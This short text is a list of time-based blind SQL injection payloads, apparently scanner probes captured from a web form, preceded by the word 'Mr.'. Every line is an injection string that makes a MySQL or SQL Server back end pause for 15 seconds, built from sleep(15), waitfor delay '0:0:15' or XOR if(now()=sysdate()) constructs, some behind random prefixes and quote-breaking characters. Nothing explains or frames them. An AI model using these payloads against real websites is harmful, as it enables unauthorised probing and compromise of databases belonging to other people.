Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1 waitfor delay '0:0:15' --

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

1 waitfor delay '0:0:15' --

WKne7zs0'; waitfor delay '0:0:15' --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

kHjX5eI8'; waitfor delay '0:0:15' --

NkrniNHx'); waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

h7CylvMO'); waitfor delay '0:0:15' --